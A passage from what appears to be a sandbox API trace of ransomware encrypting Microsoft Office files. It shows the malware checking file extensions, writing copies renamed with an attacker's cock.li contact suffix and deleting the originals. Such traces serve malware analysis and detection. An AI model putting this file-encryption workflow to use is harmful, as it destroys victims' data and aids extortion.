SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc24 | out: lpNewFilePointer=0x0) returned 1 [0048.004] ReadFile (in: hFile=0x390, lpBuffer=0x3e36058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc30, lpOverlapped=0x0 | out: lpBuffer=0x3e36058*, lpNumberOfBytesRead=0x33efc30*=0x40000, lpOverlapped=0x0) returned 1 [0048.006] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x33efc24 | out: lpNewFilePointer=0x0) returned 1 [0048.006] ReadFile (in: hFile=0x390, lpBuffer=0x3e76058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc30, lpOverlapped=0x0 | out: lpBuffer=0x3e76058*, lpNumberOfBytesRead=0x33efc30*=0x40000, lpOverlapped=0x0) returned 1 [0048.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33efc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x33efc24 | out: lpNewFilePointer=0x0) returned 1 [0048.011] ReadFile (in: hFile=0x390, lpBuffer=0x3eb6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb6058*, lpNumberOfBytesRead=0x33efc30*=0x40000, lpOverlapped=0x0) returned 1 [0048.024] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0048.024] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x33efca8, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efca8*=0xc010c, lpOverlapped=0x0) returned 1 [0048.339] SetEndOfFile (hFile=0x390) returned 1 [0048.340] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x42a3ed0 [0048.344] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc74 | out: lpNewFilePointer=0x0) returned 1 [0048.344] WriteFile (in: hFile=0x390, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x33efc80*=0x40000, lpOverlapped=0x0) returned 1 [0048.346] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x33efc74 | out: lpNewFilePointer=0x0) returned 1 [0048.346] WriteFile (in: hFile=0x390, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x33efc80*=0x40000, lpOverlapped=0x0) returned 1 [0048.350] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x33efc74 | out: lpNewFilePointer=0x0) returned 1 [0048.350] WriteFile (in: hFile=0x390, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x33efc80*=0x40000, lpOverlapped=0x0) returned 1 [0048.352] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0048.352] CloseHandle (hObject=0x390) returned 1 [0050.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.002] lstrlenW (lpString=".doc") returned 4 [0050.002] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.002] lstrlenW (lpString=".docx") returned 5 [0050.002] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.002] lstrlenW (lpString=".pdf") returned 4 [0050.002] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.002] lstrlenW (lpString=".xls") returned 4 [0050.002] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.002] lstrlenW (lpString=".xlsx") returned 5 [0050.002] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.002] lstrlenW (lpString=".ppt") returned 4 [0050.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.002] lstrlenW (lpString=".zip") returned 4 [0050.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.003] lstrlenW (lpString=".rar") returned 4 [0050.003] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString=".bz2") returned 4 [0050.003] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString=".7z") returned 3 [0050.003] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.003] lstrlenW (lpString=".dbf") returned 4 [0050.003] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.003] lstrlenW (lpString=".1cd") returned 4 [0050.003] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.003] lstrlenW (lpString=".jpg") returned 4 [0050.003] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.003] lstrlenW (lpString=".doc") returned 4 [0050.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString=".docx") returned 5 [0050.003] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.003] lstrlenW (lpString=".pdf") returned 4 [0050.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString=".xls") returned 4 [0050.003] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString=".xlsx") returned 5 [0050.003] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.003] lstrlenW (lpString=".ppt") returned 4 [0050.003] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.003] lstrlenW (lpString=".zip") returned 4 [0050.003] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.003] lstrlenW (lpString=".rar") returned 4 [0050.003] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.004] lstrlenW (lpString=".bz2") returned 4 [0050.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.004] lstrlenW (lpString=".7z") returned 3 [0050.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.004] lstrlenW (lpString=".dbf") returned 4 [0050.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.004] lstrlenW (lpString=".1cd") returned 4 [0050.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0050.004] lstrlenW (lpString=".jpg") returned 4 [0050.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.004] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.004] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0050.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.004] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=1261) returned 1 [0050.004] CloseHandle (hObject=0x390) returned 1 [0050.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0050.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.005] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.005] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.006] GetLastError () returned 0x0 [0050.006] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0050.205] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0050.206] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0050.206] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.206] SetEndOfFile (hFile=0x358) returned 1 [0050.206] CloseHandle (hObject=0x358) returned 1 [0050.207] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.207] SetEndOfFile (hFile=0x390) returned 1 [0050.207] CloseHandle (hObject=0x390) returned 1 [0050.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0050.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.208] lstrlenW (lpString=".doc") returned 4 [0050.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.208] lstrlenW (lpString=".docx") returned 5 [0050.208] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.208] lstrlenW (lpString=".pdf") returned 4 [0050.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.208] lstrlenW (lpString=".xls") returned 4 [0050.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.208] lstrlenW (lpString=".xlsx") returned 5 [0050.208] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.208] lstrlenW (lpString=".ppt") returned 4 [0050.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.208] lstrlenW (lpString=".zip") returned 4 [0050.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.208] lstrlenW (lpString=".rar") returned 4 [0050.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString=".bz2") returned 4 [0050.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString=".7z") returned 3 [0050.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.209] lstrlenW (lpString=".dbf") returned 4 [0050.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.209] lstrlenW (lpString=".1cd") returned 4 [0050.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.209] lstrlenW (lpString=".jpg") returned 4 [0050.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.209] lstrlenW (lpString=".doc") returned 4 [0050.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString=".docx") returned 5 [0050.209] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.209] lstrlenW (lpString=".pdf") returned 4 [0050.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString=".xls") returned 4 [0050.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString=".xlsx") returned 5 [0050.209] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.209] lstrlenW (lpString=".ppt") returned 4 [0050.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.209] lstrlenW (lpString=".zip") returned 4 [0050.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.209] lstrlenW (lpString=".rar") returned 4 [0050.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString=".bz2") returned 4 [0050.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.209] lstrlenW (lpString=".7z") returned 3 [0050.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.210] lstrlenW (lpString=".dbf") returned 4 [0050.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.210] lstrlenW (lpString=".1cd") returned 4 [0050.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0050.210] lstrlenW (lpString=".jpg") returned 4 [0050.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.210] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.210] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0050.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.210] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=1261) returned 1 [0050.210] CloseHandle (hObject=0x390) returned 1 [0050.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0050.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.211] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.211] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.211] GetLastError () returned 0x0 [0050.211] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0050.228] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0050.229] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0050.229] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.229] SetEndOfFile (hFile=0x358) returned 1 [0050.229] CloseHandle (hObject=0x358) returned 1 [0050.229] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.229] SetEndOfFile (hFile=0x390) returned 1 [0050.230] CloseHandle (hObject=0x390) returned 1 [0050.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.231] lstrlenW (lpString=".doc") returned 4 [0050.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".docx") returned 5 [0050.231] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.231] lstrlenW (lpString=".pdf") returned 4 [0050.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".xls") returned 4 [0050.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".xlsx") returned 5 [0050.231] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.231] lstrlenW (lpString=".ppt") returned 4 [0050.231] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.231] lstrlenW (lpString=".zip") returned 4 [0050.231] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.231] lstrlenW (lpString=".rar") returned 4 [0050.231] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".bz2") returned 4 [0050.231] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".7z") returned 3 [0050.231] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.231] lstrlenW (lpString=".dbf") returned 4 [0050.231] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.231] lstrlenW (lpString=".1cd") returned 4 [0050.231] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.231] lstrlenW (lpString=".jpg") returned 4 [0050.231] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.232] lstrlenW (lpString=".doc") returned 4 [0050.232] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString=".docx") returned 5 [0050.232] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.232] lstrlenW (lpString=".pdf") returned 4 [0050.232] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString=".xls") returned 4 [0050.232] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString=".xlsx") returned 5 [0050.232] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.232] lstrlenW (lpString=".ppt") returned 4 [0050.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.232] lstrlenW (lpString=".zip") returned 4 [0050.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.232] lstrlenW (lpString=".rar") returned 4 [0050.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString=".bz2") returned 4 [0050.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString=".7z") returned 3 [0050.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.232] lstrlenW (lpString=".dbf") returned 4 [0050.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.232] lstrlenW (lpString=".1cd") returned 4 [0050.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0050.232] lstrlenW (lpString=".jpg") returned 4 [0050.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.232] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.233] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0050.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 